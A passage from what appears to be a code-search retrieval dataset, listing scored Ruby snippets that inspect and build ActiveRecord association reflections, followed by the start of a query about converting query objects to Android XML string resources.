"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(DummyAssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end",
"title": ""
},
{
"docid": "e87f1b7c9aa6af35c9ba202f16423598",
"score": "0.59824973",
"text": "def scaffold_associated_class(association)\n association_reflection(association).associated_class\n end",
"title": ""
},
{
"docid": "6cee96086e13e2dd0a7aa8c18805411f",
"score": "0.5965358",
"text": "def detect_association_with_method(c)\n if c[:name].index('__')\n assoc_name, method = c[:name].split('__').map(&:to_sym)\n if method && assoc = data_class.reflect_on_association(assoc_name)\n assoc_column = assoc.klass.columns_hash[method.to_s]\n assoc_method_type = assoc_column.try(:type)\n if c[:nested_attribute]\n c[:xtype] ||= xtype_for_attr_type(assoc_method_type)\n else\n c[:xtype] ||= assoc_method_type == :boolean ? xtype_for_attr_type(assoc_method_type) : xtype_for_association\n end\n end\n end\n end",
"title": ""
},
{
"docid": "9e67f6912e1d8ee99c64bc53b21e5bf3",
"score": "0.5947442",
"text": "def create_belongs_to_reflection(association_id, options)\n options.assert_valid_keys(\n :class_name, :foreign_key, :foreign_type, :remote, :select, :conditions, \n :include, :dependent, :counter_cache, :extend, :polymorphic, :readonly, :validate\n )\n\n reflection = create_reflection(:belongs_to, association_id, options, self)\n\n if options[:polymorphic]\n reflection.options[:foreign_type] ||= reflection.class_name.underscore + \"_type\"\n end\n\n reflection\n end",
"title": ""
},
{
"docid": "9a7535215828d3ecd46eab3ffd50aa40",
"score": "0.5942467",
"text": "def through_reflection\n @through_reflection ||= begin\n common_query.assigned_to_klass.reflections[through_association]\n end\n end",
"title": ""
},
{
"docid": "017d690ac76cc56d5095a49d675c183b",
"score": "0.59170586",
"text": "def cti_reciprocal_association_for(association, type, class_name = nil)\n class_name ||= self.name\n remote_class = cti_association_name_to_class_name( association, class_name ).constantize\n remote_associations = remote_class.reflect_on_all_associations( type ).select { |a| a.class_name == class_name }\n remote_associations.first\n end",
"title": ""
},
{
"docid": "80c09d877f121410ede0086c1e0b7a5b",
"score": "0.59071755",
"text": "def through_reflection\n @through_reflection ||= active_record.reflect_on_association(options[:through])\n end",
"title": ""
},
{
"docid": "b3b0fd95a63b74d3e034b7ffe6046ec2",
"score": "0.59060097",
"text": "def verify_association(expected, object, macro, options={})\n klass = object.is_a?(Class) ? object : object.class\n association = begin\n if expected.is_a?(Class)\n expected.to_s.downcase.to_sym\n elsif expected.is_a?(Symbol)\n expected\n else\n expected.to_sym\n end\n end\n klass.reflections.has_key?(association) and klass.reflections[association].macro == macro and (options.has_key?(:through) ? klass.reflections[association].options[:through] == options[:through] : true)\nend",
"title": ""
},
{
"docid": "c82fc69aaffa66d8c1668e0e8fb6fac5",
"score": "0.59024686",
"text": "def find_association(model)\n association = nil\n self.class.reflections.each {|k,v| association = k if v.class_name == model}\n association\n end",
"title": ""
},
{
"docid": "da4c0f0c6aa939e826b5acb134faa9e6",
"score": "0.588739",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.dup\n association_reflections.select! { |_k, reflection| reflection.macro == macro } if macro\n association_reflections\n end",
"title": ""
},
{
"docid": "4ba91c138630bf7310830cbe722d7d8a",
"score": "0.5868444",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values\n association_reflections.select! { |reflection| reflection.macro == macro } if macro\n association_reflections\n end",
"title": ""
},
{
"docid": "4ba91c138630bf7310830cbe722d7d8a",
"score": "0.5868444",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values\n association_reflections.select! { |reflection| reflection.macro == macro } if macro\n association_reflections\n end",
"title": ""
},
{
"docid": "a8a2a78f9a4616687d5d62855224d565",
"score": "0.5851314",
"text": "def create_reflection(macro, name, options, active_record)\n\t case macro\n\t when :has_one_custom, :has_many_custom\n\t reflection = CustomAssociations::Reflection.new(macro, name, options, active_record)\n\t self.reflections = self.reflections.merge(name => reflection)\n\t reflection\n\t else\n\t super\n\t end\n\t end",
"title": ""
},
{
"docid": "1da2dc32628fadb43cdd174c6af3bed6",
"score": "0.5838789",
"text": "def association_metadata(reflection)\n case reflection\n when ActiveRecord::Reflection::HasAndBelongsToManyReflection\n AssociationMetadata.new(\n reflection.join_table,\n reflection.foreign_key,\n reflection.association_foreign_key\n )\n when ActiveRecord::Reflection::ThroughReflection\n AssociationMetadata.new(\n reflection.through_reflection.table_name,\n reflection.through_reflection.foreign_key,\n reflection.association_foreign_key\n )\n else\n raise ArgumentError, \"Association '#{reflection.name}' is not a supported type\"\n end\n end",
"title": ""
},
{
"docid": "882ffd0f15b15c990c9490c7eaa3bfc4",
"score": "0.5827336",
"text": "def all_association_reflections\n []\n end",
"title": ""
},
{
"docid": "882ffd0f15b15c990c9490c7eaa3bfc4",
"score": "0.5827336",
"text": "def all_association_reflections\n []\n end",
"title": ""
},
{
"docid": "392d5828226cd145783bc8598b48230c",
"score": "0.5801209",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end",
"title": ""
},
{
"docid": "2d3d2459af6475f2c62b658cdb035b06",
"score": "0.5796968",
"text": "def reflection_for(method)\n if self.class.respond_to?(:reflect_on_association)\n self.class.reflect_on_association(method)\n elsif self.class.respond_to?(:associations) # MongoMapper uses the 'associations(method)' instead\n self.class.associations[method]\n end\n end",
"title": ""
},
{
"docid": "34f73b7752592c22d39d29025af3c47e",
"score": "0.5785783",
"text": "def scaffold_association(association)\n reflect_on_association(association)\n end",
"title": ""
},
{
"docid": "8d1520a68ac505f6436f95e239921106",
"score": "0.57777447",
"text": "def save_belongs_to_association(reflection); end",
"title": ""
},
{
"docid": "a1e55af951b0091ecb4bd82cc7937b6d",
"score": "0.57672024",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.select { |reflection| reflection.is_a?(AssociationReflection) }\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end",
"title": ""
},
{
"docid": "8ce8042da97e36062cee96c64a0443ba",
"score": "0.57499135",
"text": "def extract_associated(association); end",
"title": ""
},
{
"docid": "6115f0edcc78742b7cc4ef8512eeebcc",
"score": "0.5748113",
"text": "def source_reflection\n through_reflection.klass._reflect_on_association(source_reflection_name)\n end",
"title": ""
},
{
"docid": "6115f0edcc78742b7cc4ef8512eeebcc",
"score": "0.5748113",
"text": "def source_reflection\n through_reflection.klass._reflect_on_association(source_reflection_name)\n end",
"title": ""
},
{
"docid": "5e45e8093779d58ae406a9eebb404bea",
"score": "0.5740032",
"text": "def _association_pass(association_i)\n # To one relationship\n if association_i.belongs_to? || association_i.has_one?\n @associations << association_i\n return association_i.klass\n end\n\n # Many-to-many with through relationship\n # The has-and-belongs-to-many relationships have been detected and filtered in _construct_association\n\n # Add model-through association (active_record -> klass)\n if association_i.through_reflection\n @associations << association_i.through_reflection\n # Add through-target association (through -> target)\n target_name = association_i.source_reflection_name\n through_model = association_i.through_reflection.klass\n through_target_association = through_model.reflect_on_association(target_name)\n @associations << through_target_association\n # The next association comes from target model\n return through_target_association.klass\n end\n\n # Add direct has_many association\n @associations << association_i\n Object.const_get(association_i.class_name)\n end",
"title": ""
},
{
"docid": "7d14de606db0c95653bd4f2776aff1e5",
"score": "0.5728739",
"text": "def get_association_reflection(field)\n @association_reflections ||= {}\n @association_reflections[field] ||= resource_class.reflect_on_association(resource_attribute_name(field).to_sym)\n end",
"title": ""
},
{
"docid": "4710d9e4926425d36281b616e5f4eb3d",
"score": "0.5719147",
"text": "def defines_belongs_to_finder_method(reflection)\n method_name = reflection.name\n ivar_name = :\"@#{method_name}\"\n\n if method_defined?(method_name)\n instance_variable_set(ivar_name, nil)\n remove_method(method_name)\n end\n\n define_method(method_name) do\n if instance_variable_defined?(ivar_name)\n instance_variable_get(ivar_name)\n elsif attributes.include?(method_name)\n attributes[method_name]\n elsif association_id = send(reflection.foreign_key)\n instance_variable_set(ivar_name, reflection.klass.find(association_id))\n end\n end\n end",
"title": ""
},
{
"docid": "7335daea2b8e7503f95cb97ac21783c3",
"score": "0.57158375",
"text": "def association_name\n proxy_association.reflection.delegate_reflection.name\n end",
"title": ""
},
{
"docid": "31bf5c15d2470f8de78b0460a9a954db",
"score": "0.57129115",
"text": "def alias_association_methods(alias_name, reflection)\n association_name = reflection.name\n alias_association_accessor_methods(alias_name, association_name)\n case reflection.macro\n when :has_one, :belongs_to\n alias_singular_association_methods(alias_name, association_name)\n when :has_many, :has_and_belongs_to_many\n alias_collection_association_methods(alias_name, association_name)\n end\n end",
"title": ""
},
{
"docid": "081353face92f558a9d75153b4761975",
"score": "0.56998867",
"text": "def _reflect_on_association(*args)\n _load_schema_associations_associations\n super\n end",
"title": ""
},
{
"docid": "f0234ec18eca7ecc59157d8878613294",
"score": "0.5696367",
"text": "def association(obj, attr, macro = nil)\n if obj.class.respond_to?(:reflect_on_association)\n name = attr.to_s =~ /_id$/ ? attr.to_s[0..-4].to_sym : attr\n assoc = obj.class.reflect_on_association(name)\n assoc if assoc && (macro.nil? || assoc.macro == macro)\n end\n end",
"title": ""
},
{
"docid": "9aaa03a0b1143b311436de195e6df4f7",
"score": "0.5694528",
"text": "def build_association(ass_reflection)\n # use class name because association_class is the actual class, not an instance of it, so === won't match it\n ass = case ass_reflection.association_class.name.demodulize # is it possible to have activerecord without activesupport?\n when 'HasOneAssociation'\n OneToOneAssociation.new(child_table: ass_reflection.table_name,\n foreign_key: ass_reflection.foreign_key,\n parent_table: ass_reflection.active_record.table_name,\n primary_key: ass_reflection.active_record_primary_key)\n\n # TODO HasOneThroughAssociation\n # when 'HasOneThroughAssociation'\n\n when 'HasManyAssociation'\n OneToManyAssociation.new(child_table: ass_reflection.table_name,\n foreign_key: ass_reflection.foreign_key,\n parent_table: ass_reflection.active_record.table_name,\n primary_key: ass_reflection.active_record_primary_key)\n\n when 'BelongsToAssociation'\n # pk = ass_reflection.primary_key_column.name\n ManyToOneAssociation.new(child_table: ass_reflection.active_record.table_name,\n foreign_key: ass_reflection.foreign_key,\n parent_table: ass_reflection.table_name,\n primary_key: ass_reflection.association_primary_key)\n\n when 'HasManyThroughAssociation'\n join_ass = ass_reflection.through_reflection # has_many through:\n left_ass = ManyToOneAssociation.new(child_table: join_ass.table_name,\n foreign_key: join_ass.foreign_key,\n parent_table: ass_reflection.active_record.table_name,\n primary_key: ass_reflection.active_record_primary_key)\n right_ass = ManyToOneAssociation.new(child_table: join_ass.table_name,\n foreign_key: ass_reflection.association_foreign_key,\n parent_table: ass_reflection.table_name,\n primary_key: ass_reflection.association_primary_key)\n ManyToManyAssociation.new(left_ass, right_ass)\n\n # TODO BelongsToPolymorphicAssociation\n # when 'BelongsToPolymorphicAssociation'\n else\n fail \"don't yet know how to resolve associations of type '#{ass_reflection.association_class}' model=#{ass_reflection.klass} association=#{ass_reflection.name}\"\n end\n\n\n ass.scope = scope_for_association(ass_reflection)\n ass.resolver = self.class.new(ass_reflection.klass)\n ass.set_name!(ass_reflection.name)\n ass\n end",
"title": ""
},
{
"docid": "3d174a4fa8d70751255f3e18c9e9e431",
"score": "0.567494",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(AssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end",
"title": ""
},
{
"docid": "3d174a4fa8d70751255f3e18c9e9e431",
"score": "0.567494",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(AssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end",
"title": ""
},
{
"docid": "3d174a4fa8d70751255f3e18c9e9e431",
"score": "0.567494",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(AssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end",
"title": ""
},
{
"docid": "3d174a4fa8d70751255f3e18c9e9e431",
"score": "0.567494",
"text": "def reflect_on_all_associations(macro = nil)\n association_reflections = reflections.values.grep(AssociationReflection)\n macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections\n end",
"title": ""
},
{
"docid": "4abb23b1aa818393d82273de93d00b79",
"score": "0.5667796",
"text": "def belongs_to_association\n if resource_class.respond_to?(:reflect_on_association)\n # assumes the belongs_to association uses <name>_id\n reflection = resource_class.reflect_on_association(field_name.gsub(/_id$/, '').to_sym)\n if reflection && reflection.macro.eql?(:belongs_to)\n return reflection\n end\n end\n end",
"title": ""
},
{
"docid": "64718e4530a3ea32b2ddd65c203d3518",
"score": "0.56575924",
"text": "def foreign_key_association\n object.class.reflect_on_all_associations.find do |a|\n a.macro == :belongs_to && a.foreign_key == @method_name\n end\n end",
"title": ""
},
{
"docid": "41f37825f186d222b03cb675fa74bc8a",
"score": "0.564119",
"text": "def setup_has_many_reflections\n model_class._reflections.select do |_reflection_name, reflection|\n next false if model_class.primary_key.nil?\n next false if reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)\n %i[has_one has_many].include?(reflection.macro) && !root.excluded?(\"#{association_path}.#{reflection.name}\")\n end.map(&:second)\n end",
"title": ""
},
{
"docid": "648286d1cfb3b8ac9acc40fc8985dcc9",
"score": "0.5624549",
"text": "def rubyamf_retrieve_association association\n # Naive implementation that should work for most cases without\n # need for overriding\n send(association)\n end",
"title": ""
},
{
"docid": "d5aa2d271cdaa3a099e0a805cfae7bda",
"score": "0.5619955",
"text": "def belongs_to(association_name)\n define_method(association_name) do\n if instance_variable_defined?(\"@#{association_name}\")\n instance_variable_get(\"@#{association_name}\")\n else\n association_attrs = api_attributes[association_name.to_s]\n association_class = Contextio::API::AssociationHelpers.class_for_association_name(association_name)\n\n if association_attrs && !association_attrs.empty?\n instance_variable_set(\"@#{association_name}\", association_class.new(api, association_attrs))\n else\n nil\n end\n end\n end\n\n associations << association_name.to_sym\n end",
"title": ""
},
{
"docid": "b8125ff28c21445a99cef26d37afe539",
"score": "0.56092715",
"text": "def reflect_on_all_association(*macros)\n self.class.reflect_on_all_associations(*macros)\n end",
"title": ""
},
{
"docid": "a57080adc7cf33a2dc054afdaf9acc4d",
"score": "0.5601147",
"text": "def detect_association_for(obj)\n reflects = @target.reflections\n\n res = @assocs.detect do |oth|\n obj.is_a? reflects[oth.to_sym].class_name.constantize\n end\n\n return nil unless res\n return reflects[res].name\n end",
"title": ""
},
{
"docid": "e7a41b1ea065488e97f3729846db1d5e",
"score": "0.55944556",
"text": "def all_association_reflections\n association_reflections.values\n end",
"title": ""
},
{
"docid": "0c32dea0423d75f8644d862f338a938d",
"score": "0.55944175",
"text": "def association_internal(field_name_symbol, field_type, options={})\n\t\t\t\treturn unless defined?(@includes_acts_with_metadata)\n\t\t\t\t\n\t\t\t\t#initialize_members\n\t\t\t\tfield_name = field_name_symbol.to_s\n\n\t\t\t\tfield_setup_internal(field_name_symbol, options)\n=begin\n\t\t\t\topts = options[:options] || {}\n\t\t\t\tinterfaces = options[:interfaces] || {}\n\t\t\t\tunless klass_name = options[:class_name]\n\t\t\t\t\tif field_type == :belongs_to then\n\t\t\t\t\t\tklass_name = field_name.camelize\n\t\t\t\t\telse\n\t\t\t\t\t\tklass_name = field_name.singularize.camelize\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t#klass = Object.const_get(klass_name)\n\t\t\t\tunless choices = options[:choices]\n\t\t\t\t\tchoices = proc{Object.const_get(klass_name).find_all}\n\t\t\t\tend\n\t\t\t\tunless controller = options[:controller]\n\t\t\t\t\tif field_type == :belongs_to then\n\t\t\t\t\t\tcontroller = field_name\n\t\t\t\t\telse\n\t\t\t\t\t\tcontroller = field_name.singularize\n\t\t\t\t\tend\n\t\t\t\tend\n=end\n\t\t\t\tmerge_options = {}\n\t\t\t\tmerge_options[:field_type] = field_type\n\t\t\t\t\n\t\t\t\tunless klass_name = options[:class_name]\n\t\t\t\t\tif field_type == :belongs_to then\n\t\t\t\t\t\tklass_name = field_name.camelize\n\t\t\t\t\telse\n\t\t\t\t\t\tklass_name = field_name.singularize.camelize\n\t\t\t\t\tend\n\t\t\t\t\tmerge_options[:field_class_name] = klass_name\n\t\t\t\tend\n\t\t\t\t#klass = Object.const_get(klass_name)\n\t\t\t\tunless options[:choices]\n\t\t\t\t\tmerge_options[:choices] = proc{Object.const_get(klass_name).find(:all)}\n\t\t\t\tend\n$TRACE.debug 5, \"association_internal: controller (in) - #{merge_options[:controller].inspect}\"\n\t\t\t\tunless options[:controller]\n\t\t\t\t\tif field_type == :belongs_to then\n\t\t\t\t\t\tmerge_options[:controller] = field_name\n\t\t\t\t\telse\n\t\t\t\t\t\tmerge_options[:controller] = field_name.singularize\n\t\t\t\t\tend\n\t\t\t\tend\n$TRACE.debug 5, \"association_internal: controller (out) - #{merge_options[:controller].inspect}\"\n\n\t\t\t\t$TRACE.debug 9, \"association_interal before: declared_members = #{@declared_members}\"\n\t\t\t\tmember = ::ActiveRecord::Acts::WithMetaData::MetaData.new(\n\t\t\t\t\t\t\t\t\t\t\t\tself, field_name,\n\t\t\t\t\t\t\t\t\t\t\t\toptions.merge(merge_options))\n\t\t\t\t#\t\t\t\t\t\t\t\t:options => opts,\n\t\t\t\t#\t\t\t\t\t\t\t\t:interfaces => interfaces,\n\t\t\t\t#\t\t\t\t\t\t\t\t:from_s => options[:from_s],\n\t\t\t\t#\t\t\t\t\t\t\t\t:field_type => field_type,\n\t\t\t\t#\t\t\t\t\t\t\t\t:choices => choices,\n\t\t\t\t#\t\t\t\t\t\t\t\t:controller => controller,\n\t\t\t\t#\t\t\t\t\t\t\t\t:klass_name => klass_name,\n\t\t\t\t#\t\t\t\t\t\t\t\t:is_declared => true)\n\n#if field_name.to_s == \"tasks\"\n#\tputs(\"member = #{member.inspect}\")\n#end\n\t\n\t\t\t\t$TRACE.debug 9, \"association_interal after: declared_members = #{@declared_members}\"\n\t\t\t\t[:options, :choices, :controller,\n\t\t\t\t :read_only, :display_name, :display_partial, :edit_partial].each {|key| options.delete(key)}\n\t\t\t\t@declared_members << member\n\t\t\t\tmember\n\t\t\tend",
"title": ""
},
{
"docid": "f0e67ccbff970ce6cf9ff429cb596ef0",
"score": "0.55707544",
"text": "def scaffold_habtm_reflection_options(association)\n reflection = scaffold_association(association)\n [reflection.associated_class, reflection[:left_key], reflection[:right_key], reflection[:join_table]]\n end",
"title": ""
},
{
"docid": "f974ff79878235008c794f06fa7b11f3",
"score": "0.55567366",
"text": "def association(obj, attr, *macros)\n if obj.class.respond_to?(:reflect_on_association)\n name = assoc_and_id_attr(attr).first.to_sym\n assoc = obj.class.reflect_on_association(name)\n assoc if assoc && (macros.blank? || macros.include?(assoc.macro))\n end\n end",
"title": ""
},
{
"docid": "f974ff79878235008c794f06fa7b11f3",
"score": "0.55567366",
"text": "def association(obj, attr, *macros)\n if obj.class.respond_to?(:reflect_on_association)\n name = assoc_and_id_attr(attr).first.to_sym\n assoc = obj.class.reflect_on_association(name)\n assoc if assoc && (macros.blank? || macros.include?(assoc.macro))\n end\n end",
"title": ""
},
{
"docid": "214e815d374c5f34f20dcd93977de3f8",
"score": "0.5546157",
"text": "def relation_reflect(relation)\n relation = [*relation]\n kklass = klass\n while relation.any?\n reflect = reflect_on_association(kklass, relation.shift)\n kklass = reflect.klass\n end\n reflect\n end",
"title": ""
},
{
"docid": "5f7aa15d73b639dd743e29b49bcbe71e",
"score": "0.55435383",
"text": "def get_association(association_name)\n send(association_name) if has_association?(association_name)\n end",
"title": ""
},
{
"docid": "5f7aa15d73b639dd743e29b49bcbe71e",
"score": "0.55435383",
"text": "def get_association(association_name)\n send(association_name) if has_association?(association_name)\n end",
"title": ""
},
{
"docid": "dedcedb259b79312b55d79c954eb60fd",
"score": "0.5532374",
"text": "def scaffold_associated_class(association)\n scaffold_association(association).klass\n end",
"title": ""
},
{
"docid": "6ed0b4bef70728f4386b0f78e36ccb05",
"score": "0.55207515",
"text": "def target_association_for(base, key)\n key.to_s.split('.').reduce(base) do |acc, k|\n acc = acc.klass if acc.is_a? ActiveRecord::Reflection::AbstractReflection\n return nil unless acc.reflections[k]\n acc.reflections[k]\n end\n end",
"title": ""
},
{
"docid": "bd8b8bf936cd229ecbacceadffc6e797",
"score": "0.5516309",
"text": "def defines_belongs_to_finder_method(reflection); end",
"title": ""
},
{
"docid": "64bba7aa6d7f2af5ec479875e44c76e5",
"score": "0.5507805",
"text": "def through_association\n @through_association ||= delegate_reflection.options[:through].to_s\n end",
"title": ""
},
{
"docid": "5f5509f9bbbec96d288b7a600ac822f2",
"score": "0.5497498",
"text": "def belongs_to(association_name)\n define_method(association_name) do\n instance_variable_get(\"@#{association_name}\")\n end\n\n associations << association_name\n end",
"title": ""
},
{
"docid": "324219ebe0b484947a55251addcbccf2",
"score": "0.5495281",
"text": "def model_for(related, association)\n related.class.reflect_on_association(association).klass.new\n end",
"title": ""
},
{
"docid": "17ffbf5cad7aae4ea4dfae1a923cede3",
"score": "0.54943293",
"text": "def scaffold_association_type(association)\n case reflect_on_association(association).macro\n when :has_many\n :new\n when :has_and_belongs_to_many\n :edit\n else\n :one\n end\n end",
"title": ""
},
{
"docid": "82d4792f1db61623f85228f994765328",
"score": "0.5484495",
"text": "def scope_for_association(ass_reflection)\n case ActiveRecord::VERSION::MAJOR\n when 3\n # in rails 3 ass_reflection.options contains everything except the where\n non_where_scope = ass_reflection.options.slice(*QUERY_OPTIONS)\n\n # in rails 3 where is in ass_reflection.options[:conditions]\n conds = ass_reflection.options[:conditions]\n conds = conds.call if conds.is_a?(Proc) # options[:conditions] could be a proc that needs to be evaluated\n scope_hash_from(ass_reflection.klass.where(conds).to_sql).merge(non_where_scope)\n\n # This one-liner almost works but adds an \"AND fk IS NULL\" that would need to be extracted out of the where\n # sql_string = ass_reflection.klass.new.association(ass_name).send(:scoped).to_sql\n\n when 4\n # TODO use scope chain for through associations e.g. Broadcast.tracked_conversations\n\n # With rails 4, it seems there is either a scope on the association reflection (which includes the target\n # scope) or just a target scope on the association itself\n sql_string = if scope = ass_reflection.scope\n ass_reflection.klass.instance_exec(&scope).to_sql\n else # just use the target scope\n this_model_class.new.association(ass_reflection.name).send(:target_scope).to_sql\n end\n\n scope_hash_from(sql_string)\n else\n fail \"ActiveRecord version #{ActiveRecord::VERSION::MAJOR}.x is not supported\"\n end\n end",
"title": ""
},
{
"docid": "ce7ce94f1f25593337443653ab2765d6",
"score": "0.54809386",
"text": "def belongs_to(association)\n define_method(association) do\n association_name = association.to_s # address_book\n # SELECT * FROM address_book WHERE id = 1\n # only one record/row will be returned.\n row = self.class.connection.get_first_row <<-SQL\n SELECT * FROM #{association_name}\n WHERE id = #{self.send(association_name + \"_id\")}\n SQL\n\n # class_name = AddressBook\n class_name = association_name.classify.constantize\n\n # because there's only one object, we don't create a Collection; we just return the serialized object.\n if row\n data = Hash[class_name.columns.zip(row)]\n class_name.new(data)\n end\n end\n end",
"title": ""
},
{
"docid": "73326dfccd57f7c40a1c796528f69751",
"score": "0.5470559",
"text": "def inverse_of(association)\n # If specified in association configuration\n return association.inverse_of if association.has_inverse?\n\n polymorphic_associations = []\n\n # Else we need to find it, using the class as reference\n association.klass.reflect_on_all_associations.each do |assoc|\n # If the association is polymorphic\n if assoc.options.key? :polymorphic\n if association.options && association.options[:as] == assoc.name\n return assoc\n end\n polymorphic_associations << assoc\n # If same class than the original source of the association\n elsif assoc.klass == association.active_record\n\n Strongbolt.logger.debug \"Selected inverse of #{association.name} between #{association.active_record} \" \\\n \"and #{association.klass} is #{assoc.name}.\\n \" \\\n \"If not, please configure manually the inverse of #{association.name}\\n\"\n\n return assoc\n end\n end\n\n if polymorphic_associations.size == 1\n return polymorphic_associations.first\n end\n\n nil\n end",
"title": ""
},
{
"docid": "614301c02a5c37c5c99deb89ef15c7e4",
"score": "0.5468336",
"text": "def map_reflection_for( path )\n raise \"reflection for #{path.inspect} already exists\" unless reflections[path].nil?\n\n reflection = path.empty? ? top_level_model : begin\n parent = reflection_for( path[0..-2] )\n if !Authorization.is_a_association_proxy?(parent) and parent.respond_to?(:klass)\n parent.klass.reflect_on_association( path.last )\n else\n parent.reflect_on_association( path.last )\n end\n rescue\n parent.reflect_on_association( path.last )\n end\n raise \"invalid path #{path.inspect}\" if reflection.nil?\n\n reflections[path] = reflection\n map_table_alias_for( path ) # Claim a table alias for the path.\n\n # Claim alias for join table\n # TODO change how this is checked\n if !Authorization.is_a_association_proxy?(reflection) and !reflection.respond_to?(:proxy_scope) and reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)\n join_table_path = path[0..-2] + [reflection.options[:through]]\n reflection_for(join_table_path, true)\n end\n\n reflection\n end",
"title": ""
},
{
"docid": "9dff31eaf9dfcedf3906f42663160182",
"score": "0.5454284",
"text": "def save_collection_association(reflection)\n# if association = association_instance_get(reflection.name)\n if target = @loaded_associations[reflection.name] #TODO use a real Association wrapper\n association = OpenStruct.new(target: target)\n autosave = reflection.options[:autosave]\n\n if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)\n # NOTE saving the object with its nested associations will properly destroy records in OpenERP\n # no need to do it now like in ActiveRecord\n records.each do |record|\n next if record.destroyed?\n\n saved = true\n\n if autosave != false && (@new_record_before_save || record.new_record?)\n if autosave\n# saved = association.insert_record(record, false)\n record.run_callbacks(:save) { false }\n record.run_callbacks(:create) { false }\n# else\n# association.insert_record(record) unless reflection.nested?\n end\n elsif autosave\n record.run_callbacks(:save) {false}\n record.run_callbacks(:update) {false}\n# saved = record.save(:validate => false)\n end\n\n end\n end\n # reconstruct the scope now that we know the owner's id\n# association.reset_scope if association.respond_to?(:reset_scope)\n end\n end",
"title": ""
},
{
"docid": "ccb994373d06a2fc94b35085475387cd",
"score": "0.54542565",
"text": "def save_belongs_to_association(reflection)\n if association = association_instance_get(reflection.name)\n autosave = reflection.options[:autosave]\n\n if autosave && association.marked_for_destruction?\n association.destroy\n else\n association.save(!autosave) if association.new_record? || autosave\n\n if association.updated?\n association_id = association.send(reflection.options[:primary_key] || :id)\n self[reflection.primary_key_name] = association_id\n # TODO: Removing this code doesn't seem to matter…\n if reflection.options[:polymorphic]\n self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "02ca03f248be378d4e67cbc209acdfad",
"score": "0.5446343",
"text": "def association(name) #:nodoc:\n association = association_instance_get(name)\n\n if association.nil?\n reflection = self.class.reflect_on_association(name)\n association = reflection.association_class.new(self, reflection) if reflection\n association_instance_set(name, association) if association\n end\n\n association\n end",
"title": ""
},
{
"docid": "8e746946e7f4b6c9188c4a31d56729a5",
"score": "0.543616",
"text": "def association(name) # :nodoc:\n association = association_instance_get(name)\n\n if association.nil?\n reflection = self.class._reflect_on_association(name)\n association = reflection.association_class.new(self, reflection) if reflection\n association_instance_set(name, association) if association\n end\n\n association\n end",
"title": ""
},
{
"docid": "c671f68bea80059a82b382b0bc51a387",
"score": "0.5432227",
"text": "def macro\n dbi.reflect_on_association(name).macro\n end",
"title": ""
}
] |
cc01bd979b627d52bbcc49a5ea88a91b
|
Converts an array of query objects to an array of android xml string resources
|
[
{
"docid": "2b81ac9bd7a04e6ab25f6c211705c0ab",
"score": "0.53247935",
"text": "def objects_to_xml(objects)\t\t\n\t\tif objects.nil? || objects.size < 1 then\n\t\t\treturn []\n\t\tend\n\t\n\t\toutput = []\n\t\t\n\t\tobjects.each do |object|\n\t\t\toutput << object.to_xml\n\t\tend\n\t\t\n\t\treturn output\n\tend",
"title": ""
}
] |
[
{
"docid": "2e021f4ce40de82c1168b5790fe6f2de",
"score": "0.64349794",
"text": "def build_xml_arrays\n\t\toutput = []\n\t\t\n\t\ttables = @ddl_reader.table_statements_xml\n\t\tif tables.size > 0 then\n\t\t\toutput << '<array id=\"array_queries_table_create\">'\n\t\t\ttables.each do |table|\n\t\t\t\toutput << table\n\t\t\tend\n\t\t\toutput << '</array>'\n\t\tend\n\t\t\n\t\tqueries = @dml_reader.select_queries\n\t\tif queries.size > 0 then\n\t\t\toutput << '<array id=\"array_queries_select\">'\n\t\t\tqueries.each do |query|\n\t\t\t\toutput << query.to_xml\n\t\t\tend\n\t\t\toutput << '</array>'\n\t\tend\n\t\t\n\t\tqueries = @dml_reader.insert_queries\n\t\tif queries.size > 0 then\n\t\t\toutput << '<array id=\"array_queries_insert\">'\n\t\t\tqueries.each do |query|\n\t\t\t\toutput << query.to_xml\n\t\t\tend\n\t\t\toutput << '</array>'\n\t\tend\n\t\t\n\t\tqueries = @dml_reader.update_queries\n\t\tif queries.size > 0 then\n\t\t\toutput << '<array id=\"array_queries_update\">'\n\t\t\tqueries.each do |query|\n\t\t\t\toutput << query.to_xml\n\t\t\tend\n\t\t\toutput << '</array>'\n\t\tend\n\t\t\n\t\tqueries = @dml_reader.delete_queries\n\t\tif queries.size > 0 then\n\t\t\toutput << '<array id=\"array_queries_delete\">'\n\t\t\tqueries.each do |query|\n\t\t\t\toutput << query.to_xml\n\t\t\tend\n\t\t\toutput << '</array>'\n\t\tend\n\t\t\n\t\treturn output.join(\"\\n\")\n\tend",
"title": ""
},
{
"docid": "c541cedc2103d3ff20f1ae1393c4f346",
"score": "0.62612593",
"text": "def to_xml_array(resource, items)\n document = ''\n xml_builder = Builder::XmlMarkup.new(:target => document, :indent => 2)\n xml_builder.instruct!\n xml_builder.tag!(resource, :type => :array) do |xml|\n items.each do |attributes|\n next unless attributes\n to_xml_attributes(xml_builder, resource, attributes)\n end\n end\n document\n end",
"title": ""
},
{
"docid": "13b37f7189b9b4851765e03e6deb4fa7",
"score": "0.5660669",
